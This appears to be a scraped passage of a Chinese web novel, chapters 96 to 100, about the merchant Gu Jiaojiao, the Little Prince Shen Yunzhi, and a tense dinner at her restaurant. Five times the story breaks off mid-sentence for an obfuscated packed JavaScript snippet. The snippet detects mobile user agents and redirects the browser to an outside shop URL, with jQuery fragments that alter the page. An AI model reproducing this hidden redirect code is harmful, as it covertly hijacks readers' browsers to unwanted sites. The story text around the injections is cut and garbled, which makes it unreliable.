“理是这个理。”顾皎皎抬眸看向窗外已经大亮的天色,神色自若,片刻后,她淡声道:“可我不愿与小云南王有过多的牵扯,先前我们在安阳侯府的处境你也知晓,区区一个落没的安阳侯府都差点将你我生吞活剥,更遑论处在权利漩涡中央,极有有可能成为下一任太子的沈云祉身边了……” “你可知,行差踏错间,足以令你我二人灰飞烟灭,安阳侯府我尚可奋力一搏试着周旋,若是在沈云祉身边,丁点办法也无,只能眼睁睁看着自己坠入深渊……” 顾皎皎的声音逐渐沉重,带着几分无可奈何的无力感,莺儿听着有些心慌,似乎已经看到了自己与主子跟随小云南王后的惨烈下场,她忙道:“姑娘,奴婢不问了,奴婢相信您的决策,你说什么奴婢便做什么……” “小云南王身边复杂、危险,咱们想成为皇商便从杜大人处下功夫,奴婢相信总有一日会达成所愿的!” 见她明白了自己的意思,顾皎皎欣慰一笑:“你能明白便好,既然决定了要从杜大人处下功夫,那你便去准备着吧。” “是,姑娘。” 莺儿转身离开,顾皎皎也起身,主仆二人各自去忙各自的事情,谁也没注意到房梁上那一抹黑影。 驿站 双剑单膝跪地:“小王爷,属下听到的大致便是这些了。” 沈云祉原是慵懒的倚靠在凳子上,闻言,他逐渐坐直了身子:“方才本王确实察觉到顾皎皎不愿与本王有所牵扯,本以为是因着寒奉寺一事……她知晓自己的身份与本王断断不可能,是以才拒绝本王,也算是斩断她自己的希望。” “没料到她却压根没想寒奉寺一事,甚至都未曾往男欢女爱方向想……竟是本王狭隘了……” 想起这段时日与顾皎皎的每一次交锋,沈云祉忽的轻笑出声,他自言自语道:“也是,早该想到她这样的女子不会是拘泥于情爱之人。” “小王爷说得是,属下也是头一遭见顾姑娘这样的女子。”双剑不动声色打量主子神色,不知是不是他的错觉,沈云祉提到顾皎皎时面上笑容虽仍与从前无异,但是他却能察觉到,这笑容中少了几丝玩味,多了些许在意。 在意?! 双剑被自己的想法惊了一下,忙垂下头掩藏情绪,小王爷自己都尚未说什么,若是让他知晓了自己的想法,指定得被罚! 沈云祉自然不知晓双剑的想法,他看了眼垂着头的双剑,收敛了面上笑容:“本王让你查的可查到了?顾皎皎名下究竟有多少资产,她名下产业几乎只赢不亏……是她自己管理的,还是说她麾下令有经商奇才?” 双剑拱手道:“回王爷,您说的属下都已经调查清楚,顾姑娘确实极具经商头脑,怕是其父也抵不上其十之二三……” “哦?你竟对她评价这般高?”沈云祉来了兴致,也想知道顾皎皎何德何能能得双剑这般评价,先不说双剑极少这般夸赞人,其父顾老爷可是出了名的经商圣手,双剑竟说顾老爷抵不上顾皎皎十之二三。 双剑神色淡定:“是的,小王爷,属下调查清楚后也被震惊了,您可知现下顾家的家产能抵半个国库,比之两年前顾老爷离世时,翻了数倍不止!” “半个国库?两年翻数倍!”沈云祉也被惊着了,面上表情险些没控制住,他第一反应是双剑调查出了错:“你确定查清楚了?你可知我朝富庶,半个国库是何等概念?顾家一介商贾,家产能抵半个国库,这是何等概念?” 双剑许是已经震惊过了,仍旧十分淡定,他肯定道:“回小王爷,属下最开始也以为调查信息有误,因此特意多调查了几遍,可得到的结 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14017310|148660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 果都是一样的。” 顿了顿,他继续道:“其实两年前,顾家的家产也就是普通商贾之家的水平,只是略微好上些许罢了,可自从顾姑娘接管顾家家产后,盈利持续飙升,抵半个国库是一月前的资产,这一月她名下产业生意火爆,兴许现下顾家家产已经不止半个国库了……” 沈云祉心脏跳得极快,连呼吸都急促了几分,他又问道:“那你可确定是顾皎皎自己经营的?她麾下是不是有什么能人异士帮她?” 双剑摇头:“回小王爷,并没有,顾姑娘的圈子十分简单,身边也就只有莺儿与秋容两名贴身侍女罢了,秋容背叛被发卖后,便也就只有莺儿一人,且据属下观察,莺儿不像是个有经商头脑的……” “不一定是身边人。”沈云祉眯眼:“从前顾老爷的相识好友竟无一人帮她?” 双剑仍旧摇头,隐隐叹息一声:“小王爷,人倒众人推,自从顾老爷长辞于世后,从前与顾老爷熟识的人都不曾理睬顾姑娘,便是顾姑娘的叔伯也保持观望态度,甚至起了歹心想将顾家吞吃入腹……” “如此看来,顾家家产之所以这般雄厚,竟是顾皎皎以一己之力为之……” “是的,小王爷。” 房间陷入沉默,无人再说话,片刻后沈云祉眯了眯眼:“顾皎皎一介弱质女流 ,竟能意志坚定至此,恐怖如斯。” 孙协兆是自己这个阵营的人,原本顾皎皎是孙协兆的夫人,也算是同一个阵营,可如今顾皎皎与孙协兆已经和离,便有可能被他人挑唆,站到自己的对立面。 这等有智慧有实力还手握重金之人,不握在手中,他又怎能高枕无忧? 双剑瞧出主子的想法,他低声询问道:“小王爷,可要属下找顾姑娘谈谈?” 沈云祉沉默,未点头也未摇头,过了数秒,他才淡然道:“不必,你替我打探一下她的行踪便是。” 第九十六章 还人情 “像顾皎皎这种人,你去应当是搞不定的,还是得本王亲自出手。” 双剑拱手:“是,小王爷,属下这就去办。” “等等。”沈云祉叫出双剑。 双剑停住脚步,回首:“小王爷,您可是还有什么吩咐?” 沈云祉点头:“查到一些算一些,消息早些带回来,本王需要谋划一番。” “是,小王爷。” 顾府 建方斋的动作十分迅速,仅仅用了一小段时日便将顾府该修缮之处修缮妥当。 建方斋领头之人:“顾姑娘,您的祖宅已经修缮完毕,还请您查验一番,若是没什么问题,您这边将尾款结一下,我们便要去下一家了。” 顾皎皎点头:“行,那烦请稍等片刻,我得仔细查看一番,若是有不满意之处,也好及时告知你们。” 领头之人做了一个请的姿势:“这是自然,顾姑娘若有不满意的,及时说出来,也省得后续返工,浪费彼此时间。” 顾皎皎:“能理解便好。” 说完,她带着莺儿细细查看,越看,顾皎皎的眉头便蹙得越深,并非建方斋修缮之处有问题,而是修缮出来的效果,比之当初她选择的方案好了太多……未必这建方斋还做强买强卖之事? 顾皎皎忍着没有发作,将所有地方看完后,才笑着走到建方斋领头人面上,她不动声色询问:“刚才我已经将府中都看了,建方斋手艺极佳,现目前没有发现任何问题,还请你帮我算一下,尾款需要付多少。” “哦,好的,顾姑娘请稍等片刻。” 说完,建方斋领头人在随身携带的包袱中翻找,片刻后,他从中拿出一张单据递给顾皎皎:“顾姑娘,这是您需要付的尾款,请您确认一下。” 顾皎皎看着单据,眉头微蹙,尾款与之前谈的一模一样,并没有什么变化,可既然她需要付的银两没有变化,那为何修缮的品质却提升了不少? 她直接开门见山:“尾款没问题,不过我有一疑问。” “顾姑娘请讲。” 顾皎皎斟酌一番后才笑着道:“建方斋是最近对新客有什么活动么,我方才瞧着修缮之处所用的材料似乎与我当初选的不一样……” 建方斋领头人未曾想到顾皎皎竟会看出,愣了数秒。 片刻后,他决定如实相告:“贵府的修缮材料确实与顾姑娘您最初选的不同。” 顾皎皎一副果然如此的表情,她继续追问:“为何会用最好的材料,然后需要付的尾款却并未增加?” “回顾姑娘,是杜大人,那日您交了定金离开后,杜大人专程返回吩咐了顾府修缮材料要用最好的,并且杜大人嘱咐了咱们建方斋,不得将他的吩咐告知顾姑娘您。” 她没料到会是这样,一时不知该说什么。 建方斋的人见状直接道:“顾姑娘,您与杜大人之事,您们私下解决,若是修缮之处没有问题,那我等就先行离开了。” 待顾皎皎回过神来,建方斋的人已经走远。 莺儿道:“姑娘,方才建方斋那人的意思可是,咱们府中修缮,杜大人还自掏了腰包?” “嗯,大概就是这意思。”顾皎皎点头,忽觉心中沉重。 莺儿有些不赞同:“虽然杜大人是好意,可咱们又不是修缮不起,杜大人为何要这般呀?” “兴许他是看我在建方斋询问方案时,格外强调银两。” 莺儿疑惑:“姑娘,咱们得店铺生意都很好啊,您为什么要纠结银两?” “我还不是想着树大招风,低调一些,我才和离,若是便十分高调的修缮府邸,旁人不晓得怎么编排。”顾皎皎有些懊恼:“早知杜大人会这般,我怎么也不会那般做了。” “这下好了,一个人情尚未还清,又来一个。”她叹息一声:“一个又一个的人情堆着,到时候还怎么提皇商一事?” 莺儿想了想,小声建议:“姑娘,不若您请杜大人多吃几顿饭吧?请他吃饭应当也是还人情了……” 顾皎皎闻言思虑了片刻,她觉得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14017311|148660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 颇为有理:“也好,请杜大人吃饭还能联络感情,于咱们谋划之事有益无害,这样,莺儿,你且去杜府送一张拜贴,看杜大人那边是什么态度。” “若是杜大人不排斥,那便请他第一楼一聚,若是排斥,再从长计议。” “是,姑娘。” 小半日功夫,莺儿还未回来,顾皎皎心中难免有些慌乱。 顾府与杜府距离并不算远,若是事情顺利的话,早就该回来了,怎么耽搁到现在? 难道杜大人不愿? 顾皎皎在房中来回踱步,思虑着杜玉荣此次若是拒绝,应当如何应对。 她还未在脑中将计划过一遍,莺儿便回来了,她赶忙迎上去:“如何?杜大人可愿?” 莺儿喜笑颜开:“姑娘,杜大人愿意的,还夸了咱们的糕点好吃呢,问奴婢能不能买一些。” 顾皎皎心提了起来:“那你是怎么回答的?未必当真受了杜大人的银两?” “哪能啊,姑娘!”莺儿气鼓鼓的:“姑娘,在您心里,奴婢竟是这般蠢笨之人吗?明知您有事求杜大人,还将那几两银子看得这 般重。” “没有,我只是随便问问,那你究竟是怎么回答的?” 莺儿绘声绘色描述,重现当时杜府的情景:“杜大人说得十分温和,奴婢反应也很快的,他话音一落,奴婢说:杜大人客气了,咱们姑娘吩咐了,若是您喜欢随时可以给您送过来。” 顾皎皎笑着点了点莺儿的额头:“离了安阳侯府,你倒是活泼了不少,你与杜大人说的几时在第一楼一聚?” 莺儿:“回姑娘,明日午时。” 驿站 顾皎皎才与杜玉荣约好用膳的时辰,双剑便将消息带给了沈云祉。 “咔嚓。”手中毫笔断裂,沈云祉若无其事将两截笔随意丢在桌上,他挑眉:“你是说,顾皎皎约了杜玉荣明日午时在第一楼共进午膳?” 双剑点头:“是的,小王爷,莺儿还让人又送了许多点心去了杜府。” 第九十七章 同行 沈云祉倏忽笑出声,心里是道不出的堵塞。 虽是知晓了她心中的顾忌,但对自己便是拒之千里,对旁人便是鞍前马后,真是叫他不悦。 “你以为杜玉荣为何应邀?” 沈云祉收起笑意,随手提起一只新毫笔。 双剑愣了一瞬,眼眸一转,说出自己的猜测:“许是答谢顾姑娘这些日子送去的糕点?杜大人为人谦和,从不与人为恶,顾姑娘这般热络,想必杜大人秉承着无功不受禄的念头,便将午膳一事应了下来。” 沈云祉并未开口,只随意将毫笔丢到别处,抱臂望着宣纸上的字迹。 “何故如此猜测,将玉荣请来便是。咱们听听当事人如何言语,岂不明了?” “王爷英明,属下这就去请杜大人。” 双剑虽不明所以,却也乖顺行礼,前去寻人。 杜玉荣赶来驿站时,沈云祉正坐在凉亭中阖眸休憩。 微风拂过六角亭的薄纱,撩起轻薄一角。沈云祉就半靠在庭中的软椅上,屈膝搭着右臂,两指捏着一盏琉璃酒卮。 亭外一名蒙面女子弹奏琵琶,乐声轻柔,婉转动听。 “参见小王爷。” 杜玉荣上前行礼,颔首闻见一抹酒香。这味道是第一楼的梦方醉。 “不必多礼,且来品品本王新得的佳酿。” 沈云祉明眸微抬,抬手叫人坐下。 候在一旁的丫鬟见状,上前为杜玉荣斟酒一杯。 杜玉荣的面色柔和,只瞥了酒盏一眼,便轻声谢罪:“小王爷知晓的,我不胜酒力,更何况是王爷您独爱的烈酒,更是望而却步了。” 酒液在微风下拂过涟漪,沈云祉放下茶盏,微微点头。 “是了,你一向不爱饮酒,不若明日一同去城郊狩猎。眼下天清气爽万物有生,确是狩猎捕物的好时节。” 说话间,弹奏琵琶的婢女不知何时退去,四目间独留下微风落在耳畔的轻响。 杜玉荣沉默片刻,心下猜到小云南王已经知晓了明日自己与顾皎皎共进午膳的约定。 他并不意外沈云祉的神通广大,只好奇他怎地有刻意阻拦之嫌。早前便听闻小王爷亲自登门第一楼,后事便没了消息。 如今又挑准了明日的时辰,想必早有打算。 “小王爷亲自相邀,加之大好时光本不应当辜负。只是明日时节确实不巧,我已然有约,便不能与小王爷一同赏风光了。” 杜玉荣面色多了几分歉疚,嘴角笑意依旧谦和,叫人挑不出错来。 沈云祉挑眉,重新端起酒盏一饮而尽:“未曾听闻明日京中有哪位贵胄设宴,莫不成还有其他热闹?” 话语虽似疑问,可沈云祉的语气并未半分疑虑。杜玉荣心底猜中了大半,便不再刻意隐瞒,只坦诚的将明日之约说了出来。 “倒也不是什么大事。顾姑娘明日邀我在第一楼共享午膳,既已应允,便不好再推脱了。” 沈云祉笑意凉了半分,微垂的眸子藏着几点不悦,语气却仍旧轻快随意。 “顾姑娘?”沈云祉低声呢喃,似是不解,“便是安阳侯那个和离的?似乎有些印象,近来的第一楼亦是她的产业,本王觉得有几分意思。” “看来她还是没有放弃靠着你成为皇商一事?你赴约,莫不是有心相助?” 杜玉荣温和笑意不减,话语模糊,并未道出心事:“此事须得从长计议,我与顾姑娘谈不上多深的交情,也不知她究竟有多大的本事,自然不能轻易给出定夺。” “只是近来顾姑娘确实有心,我也不好驳了她的面子。” 沈云祉点了点头,思索片刻露出狡黠笑意:“近来第一楼确是颇有盛名,本王倒还未来得及品鉴一番,不知明日的席面本王可有幸一同。” 此言一出,杜玉荣也顾不得面上的温和,怔愣了一瞬,面上多了几分意外和尴尬。 “小王爷言重了,若您能同行自然是极好的。只是这到底是顾姑娘做东的两人席面,怕是要知会顾姑娘一声,也是做足准备。” “不必这般大费周章。本王随意无拘,不在意这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14017312|148660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些虚礼。”沈云祉坐直身子,面上多了几分兴致,“况且顾姑娘有求于你,这宴席自当不会拮据,本王同行想必不算唐突。” 话已至此,其中意愿昭然若揭。杜玉荣虽感意外,却也无法推脱,只能点头附和。 “说来也是,那明日我便派人来请王爷。” “本王认得路。” 沈云祉心情大好,使个眼神叫人端来棋盘棋奁。 “那日与你对弈只赢得半子,今日再来一局,再见分晓。” 说话间,一枚黑子已稳稳当当的落在棋盘中央。 杜玉荣执一枚白子,轻笑:“那我便恭敬不如从命了。看来今日须得打起十二分精神,尽力赢您一局。” “拭目以待。” 沈云祉笑意不减,脑中却是浮现出一张清冷面庞。 他忽然有些期待明日的席面了,不知道这位富可敌国的燕雀是何反应,真叫人期待。 首辅府。 赵蕴苎一脸怒意将手中书卷丢在案上,侧眸看向思荣尽是不悦。 “此话当真? 玉荣明日真的要去顾皎皎共享午膳?” 思荣点头笃定:“确实如此,奴婢叫人打听清楚了。就在明日午时,席面安排在第一楼。” “好一个不知好歹的妇人,竟然打起了如荣的主意!前几日总是松懈不值当的糕点便罢了,倒是得寸进尺起来!” 赵蕴苎怒拍案桌,满腔怒火竟顾不得手心火辣辣的痛楚。 倒是思荣大惊,连忙牵起她的娇嫩柔夷,小心地用丝巾擦拭,满目心疼:“姑娘,您这是何苦,免得伤着自己。” “都有人登堂入室了,叫本小姐如何安心?”赵蕴苎心下难安,越发愤懑,“不行,此事已然不能坐视不理,明日你便随我前去第一楼,本小姐倒要瞧瞧这小妮子到底存着不干净的心思。” 思荣福身行礼:“是,奴婢这就前去第一楼定席面。” “定什么定,本小姐偏要同他们坐在一处,叫她不许使那些深院的腌臜手段!” 第九十八章 不请自来 第一楼。 日暮时分,院里没了正午的热闹,难得空了几张桌子。顾皎皎也终于抽出身来看今日的账簿。 瞧着日渐增长的银子,顾皎皎的笑意难掩,拨动算盘的动作都跟着雀跃几分。 “阿嚏!” 正兴奋着,顾皎皎突然打个冷颤。 “姑娘,傍晚是凉了些许,您可要注意着身子啊!” 莺儿听闻,连忙上前合上窗棂,又关切着顾皎皎可是受了风寒。 “无碍,想必只是吹了风,眼下合上便没事了。”顾皎皎摇头,并不在意,转而换上一副兴奋模样,“莺儿,这几日第一楼盈利破丰,看来此番菜式十分成功。” “是了,因着此次名声大噪,还有别城的人前来尝鲜呢!到底是姑娘慧聪,不过是给掌勺的师傅提点了一二,便就能做出如此美味的佳肴来。” 顾皎皎眉眼含笑,嗔怪道:“我不过是个门外汉,怎地能提点掌勺师傅了。到底是师傅能干,才叫第一楼如此火热。” “这几日楼里上下都忙活得脚不沾地,本月的月俸便翻上三倍,叫他们好好开心一番,也算我答谢他们的辛劳。” “奴婢这就传下去,他们定开心得找不着北呢!” 莺儿心底高兴,一蹦一跳地离开终于多了符合年纪的欢悦。 见着她离开的背影,顾皎皎心底不禁涌出酸涩,这两年莺儿跟着自己真是受了不少委屈。 直到第一楼打烊,顾皎皎才带着莺儿离开,坐在马车里都闲不住翻看着账簿。 “姑娘,马车摇晃,当心着眼睛啊。” 莺儿端着一盏油灯,又不敢离得太近,生怕蜡油沾湿了账本。 顾皎皎揉了揉酸涩的眸子:“不碍事,不将这些账目理清楚,今夜我也不能安眠。只余下了些许了,不打紧的。” 走在回房的小道,顾皎皎忽然灵光一现:“莺儿,既然本次第一楼的新品如此成功,想来京中百姓对新奇的事物是有兴趣的,不若让霓裳阁也出些新鲜的成衣样式,再以优惠的折扣相配,想必也能叫人驻足!” 莺儿自然觉得这法子不错,也跟着说出自己的想法:“奴婢觉得这法子甚好!姑娘可有什么妙思吗?” 顾皎皎勾起嘴角,自信点头。她最是不喜空口白话,今日提起此事,心中便早已有了脉络,只等着合适的时机落实罢了。 “我是这般想的,霓裳阁近些年都以女子为主要客户,为何不拓展一番呢?” “京中不仅有女子爱衣物,也有男子在意衣衫,更有慈爱母亲愿意为孩子置办夺目的衣裙衣裤,何不让他们都能在霓裳阁找到心中所爱?” 莺儿眼眸一亮,恍然大悟:“姑娘这法子当真是妙!这样整个京城的人都能在霓裳阁置办衣物,便又是一大笔银子进账!” 主仆两人有说有笑,气氛好不融洽。 驿站。 双剑将听来的尽数说与沈云祉听,又禁不住称赞了一番:“属下虽不同经商之道,不过顾姑娘这番谋虑确实巧妙可行。” 沈云祉靠在软塌,青丝四散,姿态慵懒。 “本王倒是没有看错人,她确实有经商的脑子。一路上当真只有她主仆两人谈论此事?” 双剑点头:“确实如此,不过身边的丫鬟倒不像是给得出谋略之人,两人交谈时也多是符合称赞。看来顾姑娘当真有几分真才实学。” 沈云祉却半信半疑,眼眸半眯,不愿轻易定夺。 他倒不是觉得顾皎皎不配拥有这般活络的脑子,那些日子在安阳侯府的斗智斗勇,以及和离时的步步为营他都瞧在眼里。 不过是见识到一个女子如此冷静聪慧,他属实有些意外。 “你且继续瞧着吧,若有异常再来与本王禀告。” 翌日,第一楼。 顾皎皎连着几日都清晨便到了第一楼打点,今日更是尤为重视。 “今日我欲在二楼雅间宴请杜大人,你们可都得仔细着些,莫要迷糊着将屋子推销出去。” 交代完毕,她仍是不放心的上楼查看。虽然每日打烊后第一楼都会从里到外清理扫撒一番,但接待如此顾客免 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14017313|148660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不得上心几分。 这间屋子光线最佳,房内燃的香也是名贵的檀香,又背着集市,静谧典雅,最是是何招待贵宾。 “今日的菜式便找着第一楼最高的规格安排,尤其不能漏了杜大人称赞过的菜式糕点。” “姑娘尽可放心,都已安排妥当了。” 莺儿看着顾皎皎开心,心里也高兴,只盼着借着杜大人成为皇商的事由能一顺风顺,了却姑娘一桩心事。 午膳时间还未到,杜玉荣的马车便已停在第一楼外。 “杜大人竟来得这样早,菜式都已经安排下去,不过尚且需要稍候片刻。”顾皎皎嘴角挂着端庄的笑意,“杜大人先随我到楼上静候,已经命人备下茶点了。” 杜玉荣下了马车,面上笑意温和却是含了几分犹豫。 他对小云南王是有几分了解的,既然开了口今日便一定会前来,此番提前至此,便也是为了知会顾皎皎一声。 “有劳顾姑娘了,杜某确是来得比约定时辰早些,不过是有些话要先与姑娘 说明。” 顾皎皎心中一怔,望着杜玉荣的客气疏离忽地多了几分不安。 难不成还未进门就要丑话说在前头了?想成为皇商一事尚未开口,便就要没了盼头了? 杜玉荣还未来得及开口,一辆华贵马车疾驰而来,恰好停在两人身侧。 双瑞自马车后走出来,恭敬地撩开门帘,沈云祉便就这般出现在两人眼前。 今日沈云祉穿着低调,只一身素白竹叶纹长衫,一头青丝竖起,用着金丝交缠的发冠,又增添几分贵气。 小云南王本就生的俊美,这身清雅装扮亮相倒叫人禁不住倒吸一口凉气。 顾皎皎只惊艳一瞬,随即明白过来杜玉荣的欲言又止。原是这位贵人不请自来,实在是叫人难以招架。 “看来本王来得正是时候。”沈云祉如沐春风,眼底几分狡黠,“怎地都站在门外了?雅间不是都安排妥当了?” 顾皎皎干笑一声,侧身为两人引路:“王爷,杜大人,这边请。” 第九十九章 安分守己 落了座,沈云祉忽然客气起来,望着顾皎皎一脸无邪:“本王唐突前来,顾姑娘不会在意吧?” 顾皎皎搭在膝上的双手捏成拳头,面上却不改笑颜:“小王爷这是说的哪里话,您能来此,是第一楼与民女的荣幸。” “顾姑娘能这样想本王亦是安心了。早就听闻玉荣对第一楼的菜式赞不绝口,今日倒是有幸亲自尝尝。” 沈云祉笑意加深,瞧着还有几分期待。 “小王爷言重了,都是些家常便饭,能入小王爷的眼是再好不过的。” 计划毫无征兆地被打断,顾皎皎自然是哑巴吃黄连有苦说不出,可碍于身份又不得不低眉顺目。 虽然今日她并未打算借机提起皇商一事,但沈云祉这个不速之客终是叫这答谢的席面变得尴尬非常。 直到最后一道菜肴上桌,沈云祉才开口打破了沉默。 “不知你们两位又是如何熟络起来的,本王到底一点风声不曾听见。” 他嘴角含笑,话语落在耳畔却多了几分意味不明。 顾皎皎心里咯噔一下,不由得瞄了杜玉荣一眼。 “倒也不是秘事。前些日子我在建芳斋遇见了顾姑娘,因着她着急修葺祖宅,便帮衬了几句。”杜玉荣适时开口,将前因后果隐去了大半,“因为这个算不得恩的情分,顾姑娘这才以此向我致谢。” 沈云祉面上多了几分赞许,眼眸深邃地望着面无表情的顾皎皎,道:“滴水之恩当涌泉相报,顾姑娘叫人敬佩。” “不敢不敢。” 顾皎皎连忙推脱,不动声色地避开他满是深意的眸子。 沈云祉此人城府颇深,每每对上他的眸子都有种要被看穿的感觉。一言一语都是意有所指,叫人不寒而栗。 “两位大人先尝尝这道翠玉白鸽汤吧,食材虽不算负责,但贵在熬制时辰足够,汤底十分鲜嫩,叫人回味无穷。” 顾皎皎连忙开口,一旁的莺儿懂事的为几人各自盛上一碗清汤。 既然席面变了味道,那便还是早些结束得好,她可不想一顿饭吃得坐立难安,胆战心惊。 另一边,赵蕴苎带着思荣已到了第一楼。 小二瞧出此人非富即贵,不敢耽搁连忙上前招呼。 “贵人您安~不知有何吩咐?可是要尝尝第一楼的新菜式?” 赵蕴苎眉间几缕不耐烦,偏过头去傲慢十分。 “你们掌柜今日宴请杜大人,安排在哪一处雅间了?”思荣开门见山,道明来意。 小二只犹豫半瞬,便迎着两人到了二楼雅间。 眼前这女子虽不知名号,但必定是富贵之人。他们当伙计的,自然是不能给掌柜的添麻烦。 况且提到了杜大人的名号,兴许是相熟的,想来算不得办了坏事。 “贵人,此处便是掌柜的招待杜大人的雅间,只是今日……” 小二还未来得及将沈云祉也在此处说出口,思荣便开口将人打发了。 “姑娘,如何说杜大人都在屋内,难不成咱们要硬闯吗?” 思荣心下犹豫,搭在门锁上的手犹豫不决。 “本小姐在此你有何忌惮?左不过就是来用膳走错了屋子。” 赵蕴苎再是等不及了,此刻屋内只能听到顾皎皎巧言令色,却听不清在说些什么,她早已心急如焚,恨不得将门踹开。 “是。” 思荣呼出一口浊气,一鼓作气将门推开,口中故作无意:“姑娘,想来这边是小二说的雅间,您便在此处休息,等着上菜吧。” 赵蕴苎简单整理衣衫,一如往常端庄自得,缓步走进雅间。 屋内三人听了动作,不明所以地望着大摇大摆进来的两人。 这人顾皎皎是认得的,当日百花宴上便是她替自己出头,也算是有份恩情在。 “小王爷?!”赵蕴苎终是如愿见到了心念的状元郎,却也在瞧见另一张容颜时慌了神色,“见过小王爷。” “不必多礼。”沈云祉面色如常,眉眼间却含着几丝不易察觉的冷淡,“赵姑娘这是走错屋子了?” 赵蕴苎扯了嘴角,禁不住心虚:“是了,早闻第一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“你开门做生意,便好生做你的生意。人贵在安分守己,想来顾姑娘明白这个道理。” 赵蕴苎话中夹枪带棒,丢下几句暗藏玄机的话就将顾皎皎连同小二请了出去。 第一百章 是用了心的 隔壁雅间。 沈云祉摊开折扇,眉目柔和,笑道:“今日倒是有趣,不虚此行。” “小王爷觉得值得便足矣。” 杜玉荣轻启薄唇,难得不见笑意。 天下之事虽不可事事预料,但他不信所有巧合会尽数凑在一处。 方才赵蕴苎假意走错,他心中就已有了定夺。想来是听闻自己与顾皎皎相约,特来一探究竟。 想着,他心底跟着沉静几分。 双瑞趁着间隙匆匆赶来,躬身附在沈云祉耳畔低语几句。 不过一瞬,沈云祉收起折扇,面色凝重几分。 “这碗鸽子汤确实美味,不过本王要事缠身,是以要先行一步。” 杜玉荣起身相送,直到马车驶远,才转身回了雅间。 诺大的屋舍冷清下来,只余下满桌尚且温热的菜肴。顾皎皎回来时便瞧见如此场景,虽有疑虑却是松了口气。 大费周章方从安阳侯府脱身,如今与那破败之地有一丝一毫关联的人与物件她均不愿扯上关系。 况且沈云祉身份圈层皆为复杂,也不知怎就与她牵扯住了…… 难不成因着寒奉寺一事才多看自己一眼? 顾皎皎心中一惊,诧异自己竟想到此处,连忙摇头打散脑中杂思。 早已说明白的事,她都想清楚了,小云南王这般人物又怎会在意。 “顾姑娘,小王爷忽有要事,先行离开了。” 杜玉荣折返,入目便是顾皎皎单薄背影,眸色柔和几分。 走了?走了才好,一顿饭吃的如坐针毡,这下终于可松懈了。 “小王爷日理万机,抽不出身倒是常事。只是今日未能招待好杜大人,我这心里实在过意不去。” 顾皎皎扫过一桌几乎未动的佳肴心口滴血。这些银子虽然微不足道,却也是第一楼的心血。只可惜离席不食的规矩在此,只能暗自唏嘘。 “顾姑娘不必妄自菲薄,今日姑娘是用了心的,杜某心如明镜,自然不必借着这些外物鉴别。” “这些日子亦是收下了姑娘不少的心意,日后便不必再继续叫谢意挂在嘴边了。” 杜玉荣温文尔雅,说出的话却叫顾皎皎心里凉了半截。 这是何意?莫非是在拒绝助她成为皇商一事?这些日子她虽有所行动,却也未到急功近利的地步,这也叫他反感了吗? 敲出她眼底的担忧,杜玉荣轻笑一声,点明真实用意:”杜某并未他意,只是能与姑娘相识亦是缘分一场,不想叫这些虚无缥缈的沉重恩情牵绊住。“ “顾姑娘是性情中人,杜某得以相识已倍感荣幸,实在背着微不足道的谢意与之交谈。” 顾皎皎眼眸一亮,心中担忧一扫而空。 “多谢杜大人抬举,能与您结交原是我高攀了。我这手中也没有其他能拿得出手的东西,只望着那些小玩意大人莫要嫌弃,只当是朋友间的赠予便可。” 士农工商,从商者向来地位底下,杜玉荣虽觉得顾皎皎有几分气节,却也没再说着客套的话。谦和起来便是没完没了,不若少说几句。 “不论如何,今日都多谢顾姑娘款待。第一楼果然名不虚传,每一道菜都色香味俱全,就连小王爷都赞不绝口。” “虽是多了些插曲,却也是不碍事。咱们来日方长便可。只是今日便不再叨扰了,我府上也有事宜须得处理,就先告辞了。” “好,杜大人这边请。” 今日可谓是不欢而散,饶是顾皎皎有意亲近也找不到合适的理由。只是幸好杜玉荣的态度尚且柔和,想来并不讨厌自己的接近。 那便如他所言,来日方长好了。 赵蕴苎本就不是为了用膳而来,听着杜玉荣离开便也跟着下了楼。 